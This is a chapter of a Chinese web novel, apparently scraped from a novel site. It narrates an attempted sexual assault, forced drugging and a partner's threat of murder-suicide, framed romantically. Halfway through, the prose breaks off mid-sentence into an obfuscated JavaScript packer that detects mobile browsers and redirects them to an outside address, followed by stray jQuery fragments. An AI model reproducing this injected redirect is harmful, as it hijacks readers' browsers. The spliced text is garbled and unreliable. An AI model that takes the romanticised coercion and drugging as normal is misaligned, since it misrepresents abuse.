默认冷灰
24号文字
方正启体

19. 清醒

作者:蓉阿本书字数:K更新时间:
    陆宴景抱着许嘉清回到家里,把妻子放到沙发上,替他去拿拖鞋。


    许嘉清把脚踩在陆宴景肩膀上,看着他笑。


    头发凌乱,反而有了慵懒的美。


    脖颈锁骨都露在外边,上面全是自己的吻痕。


    长裙下的小半截腿,若隐若现。


    许嘉清的脚,从陆宴景的肩上慢慢往下滑,最后停在了他的小腹上。


    他是月光下的妖,嘴唇红艳艳。


    许嘉清说:“陆宴景,你是不是每天都健身?下次把我带上吧。”


    陆宴景怎么可能带上许嘉清,拉着许嘉清的手,将他拥入怀里。


    两个挤在一个浴缸里,这里可以看到城市夜景。


    许嘉清闭着眼,仿佛盹着了。


    陆宴景贪婪的去吻他脖颈,在上面留下一个又一个印记。


    待许嘉清醒来,身边人早已不见踪影。


    浑身酸痛,像被车碾了似的。


    刚坐起身子,外面的门铃就和夺命似的不断响起。


    原本想装作听不见,用被子蒙住脑袋。


    可外面的人仿佛有使不完的牛劲,按门铃没反应,就变成了拍。


    拍也没人理,便开始上脚踹。


    许嘉清可算不上好脾气,见外面的人开始踹门,裹了件外套就准备打架去。


    可刚打开门,就看见了季言生。


    他还是那副落魄模样,眼底的血丝,几乎要把整个眼眶都染红了。


    头发像鸡窝,身上一股酒臭味。


    甚至旁边地上,就倒着个空酒瓶。


    许嘉清的记忆断了片,瞧见季言生这样,下意识就要倚在门框打趣。


    挑眉道:“你怎么一副失恋的模样,你求求我,我带你潇洒去。”


    酒瓶咕噜咕噜往外滚,季言生看着他,一句话都不说。


    就这样死死盯着,紧紧攥着手。


    半晌后才开口道:“你不是不喜欢男人吗,为什么和陆宴景在一起了?”


    许嘉清一愣,不知该如何回答。


    季言生一步一步把他往里逼,甚至顺手关上门。


    浑身都是被人疼爱过的痕迹,嘴唇都被咬破了皮。


    墙上挂着巨大婚纱照,季言生的表情越来越难看。


    许嘉清想说些什么,可一想到往事,脑袋就开始幻痛,甚至开始耳鸣。


    许嘉清用手压住受过伤的耳,自己莫名变成舍友长辈,不高兴好像也可以理解。


    露出笑来,勉强就要开口解释。


    可季言生根本不听,把他抵在墙角,身上气势骇人。


    攥着许嘉清胳膊,捏得他疼。


    低着头,一字一字道:“许嘉清,我哪里比不上陆宴景?”


    “什么?”


    许嘉清瞪大双眼,觉得自己的头有些晕。


    可季言生仿佛陷入了什么魔障,声音越来越大,甚至流下泪来:“我守了你四年,你看都不看我一眼。结果一转头,你告诉我你和陆宴景在一起了?”


    “许嘉清,我到底是哪里比不上他。我年轻,我也有钱,季家不比陆家差,你为什么不和我在一起?”


    许嘉清从没想过季言生喜欢自己,张口想说些什么,可季言生的泪疯狂往下落。


    把他抵在墙上,桎梏住他的双手,吻一个接着一个往下落。


    拉起他的手,企图去取指间戒指。


    “许嘉清,我知道你不喜欢陆宴景。你不喜欢他,你是被迫的对不对?”


    “跟我走吧,跟我回季家,我会把你藏到没有人找得到的地方。你再也不用害怕。”


    可许嘉清更害怕这样的季言生,他和以前,判若两人。


    眼底全是偏执,甚至开始扯许嘉清衣裳。


    疯狂扭动挣扎,力气却没有季言生大。


    被逼急了,许嘉清给了季言生一拳。嘶吼道:“季言生,你他妈疯了吗?”


    季言生被打得往后退,鼻子往下氤氲鲜血。


    许嘉清以为会把人打清醒,可季言生明显愈发兴奋。


    用袖子去擦脸上的血,扯着许嘉清衣领,就要把他丢到沙发上。


    扣子掉落在地,露出大半个胸膛。


    许嘉清蹬着腿,疯狂去踢季言生。


    可季言生明显也有了脾气,丢时用了力气。


    许嘉清脑袋撞到沙发上,大脑眩晕,甚至有些恶心。


    还没缓过劲,季言生就压了上来。


    两人一通折腾,家里如台风过境。


    就连有人进门,二人都没反应过来。


    陆宴景手里拿着季言生丢在外面的酒瓶,把侄子从许嘉清身上扯下,举着瓶子就要往脑袋上砸。


    关键时刻,是许嘉清大喊了一句:“陆宴景!”


    陆宴景这才勉强恢复理智,他揪着季言生头发,许嘉清捂着脑袋在沙发上看他。


    手脚剧烈的疼,大脑嗡鸣。


    许嘉清弓起身子,面色煞白。


    咬着唇,冷汗直流。


    此时的陆宴景就像电影里的杀人魔,他看季言生的表情不像舅舅看外甥,更像是在看死人。


    许嘉清觉得不对劲,什么都不对劲。


    抱着脑袋,从沙发滚到地上。


    陆宴景看到许嘉清这副模样,不由开始紧张,用最快的速度把季言生丢到门外去了。


    季言生也不是傻瓜,看到舅舅这副模样,又看到许嘉清抱着脑袋满地打滚。


    不像是刚刚差点没了小命,反而疯狂大笑起来。


    “原来是这样,原来是这样!”


    “嘉清,你等我,你等着我。”


    陆宴景见他这样,更加来气。


    丢到门外,连踹好几脚。


    关上门,马上去扶许嘉清。


    脸上又是汗又是泪,整个人就像刚从水里捞出来似的。


    发着抖,不停自言自语。


    “江曲,央金。”


    “季言生,你带我走。”


    “老公,你救救我,有鬼在追我。”


    许嘉清梦里的鬼,就是曾经关他的陆宴景。


    那段梦魇彻底变成了梦,也让许嘉清开始惧怕黑暗。


    说出来的话颠三倒四,连不出句子。


    陆宴景紧紧抱着许嘉清,把他护在怀里,轻轻拍打他的背:“清清,你别怕,老公在这里。”


    “老公在这里陪着你。”


    许嘉清蜷缩成一团,听了他的话剧烈挣扎起来。


    甚至莫名给了他一巴掌。


    陆宴景任由他去打,可许嘉清打完后又开始后悔。


    又哭又笑,又开始喃喃自语。


    陆宴景怕许嘉清又滚下来,不敢把他放在沙发上,只能将他平放地上。


    快步走到房间,拉开许久没有打开过的柜门,掏出熟悉的药瓶。


    走到厨房接了一杯水,从瓶子倒出三粒喂给许嘉清。


    他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142724|180437||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不愿意吃,陆宴景捂住他的口鼻,逼他往下咽。


    手脚无力的挣扎,勉强吞下了,陆宴景又开始往他口里灌水。


    陆宴景和许嘉清是两个极端,陆宴景的一切动作,都冷静异常。


    冷静的,不正常。


    看着许嘉清剧烈呛咳,涎水拉出银丝,落在地上。


    陆宴景拿着药,直接把一整瓶都往自己嘴里灌。


    糖衣里的药片很苦,陆宴景仿佛感受不到似的。咀嚼,咽下。


    怕自己嘴里还有苦味,把另外半杯水喝了。


    许嘉清还在咳,陆宴景把水杯和空药品放到茶几上,捏起他的下巴往上吻。


    喘不上气,整个脸都被憋红了,氤氲出泪花。


    陆宴景毫不在意,疯狂的去吻。


    然后抱起许嘉清,将他放到床榻上。


    从下午,一直做到晚上。


    好像一切都不曾发生,陆宴景为许嘉清编制幻觉。


    他说:“清清,我看到了未来。”


    “我看见外面在放五颜六色的烟花,你站在阳台上冲我挥手。”


    “你笑得那么美,穿着件白色衬衫。”


    “我开着一辆古董特斯拉从旁边经过,抱着鲜花爬上你的阳台。”


    “你倚在阑干上问我,问我为什么要来找你。”


    “我跪在地上,烟花在你身后炸开。”


    “我说:‘我来娶你了,就像骑士一路披荆斩棘,最后迎娶公主了一样。’”


    许嘉清没有说话,汗水把他的头发沁湿。


    陆宴景去吻许嘉清手上戒指,双手紧扣,十指交缠。


    许嘉清半睁开眼,厚重的窗帘,房间一片昏暗。


    满室旖旎,全是石楠花的香气。


    眼神清明极了,陆宴景分辨不出他此时有没有记忆。


    而许嘉清就这样直直的看着他,眼睛一闭一睁,就像蝴蝶翅膀似的。


    晶莹的汗,往枕头上落。


    圆点往外晕染,病毒似的。


    陆宴景想去捂他眼睛,许嘉清将他的手从眼睛上拉下,去抚他的面。


    脸颊微凉,刀削似的下巴。


    脑袋几乎陷入枕头中央,就像欲海里的鬼。


    陆宴景愣住了,许嘉清问他:“那我要答应你的求婚吗?”


    见陆宴景不答,许嘉清侧过脸。


    脖子锁骨,拉成一个好看的弧度。


    一阵奇异的酥麻,席卷的陆宴景全身。


    他低头吻了吻许嘉清的唇,不知从柜子里掏出什么,喂到许嘉清嘴里。


    不抵抗也不挣扎,躺在床上乖乖咽下。


    陆宴景问他:“你不怕是毒药吗?”


    许嘉清忽然笑了:“你会毒死我吗?”


    陆宴景倒到许嘉清旁边,将他拉入怀里:“我会。”


    “如果有一天我要死,我一定会带你一起去。”


    “这样我们黄泉路上也有个伴,不至于人多太热闹,也不至于人少太荒凉。”


    药开始起作用,记忆又开始模糊起来。


    许嘉清不知道是不是因为今天经历了太多,连带着自己也开始疯。


    竟然去问陆宴景:“那你什么时候去死。”


    陆宴景仿佛听到笑话似的,掰过许嘉清的脸,与他唇舌交缠,看他春色满脸。


    “我早就该死,是你救了我。”


    “许嘉清,现在我不想死了,我想和你一辈子。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)